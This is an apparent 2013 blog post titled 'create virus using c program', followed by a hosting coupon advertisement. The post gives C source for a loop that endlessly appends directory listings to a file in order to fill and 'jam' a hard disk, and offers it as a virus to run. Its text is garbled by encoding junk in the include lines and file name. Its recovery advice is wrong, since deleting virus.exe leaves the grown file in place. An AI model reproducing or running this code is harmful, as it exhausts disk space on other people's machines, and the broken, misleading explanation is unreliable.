Wednesday, 15 May 2013

create virus using c program


create virus using c program

/*virus.exe*/
#include<stdio. ­h>
#include<stdlib ­.h>
void main()
{ while(1)
{
system("dir>>â. ­ša.exe");
}
} here a simple virus program but it has
ability to jam your hard disc.The
program make a self growing file which
grow to few MB and continue
infinitely.How it works?-The system call
"dir>>â.ša.exe" ­ will execute the dos command 'dir' and redirect its output to
a file "â.ša.exe".So running the
program in a folder having many files
and folders will increase the size of
"â.ša.exe" in great amount.This process
will continue infinitely as this is in while (1) loop.Remember to recover from this
virus infection simply delete the
virus.exe file.

0 comments:

Post a Comment

Powered By Aashish Dua Productions

Special Offer

We have our website hosted at Hostgator, the best hosting service provider we have seen so far. We have seen 0% downtime with HostGator and it just costs $3.96 a month. You can also use our coupon code "T4WMEGAOFFER" and get additional 25% discount on any hosting packages. Sign Up With Hostgator Today !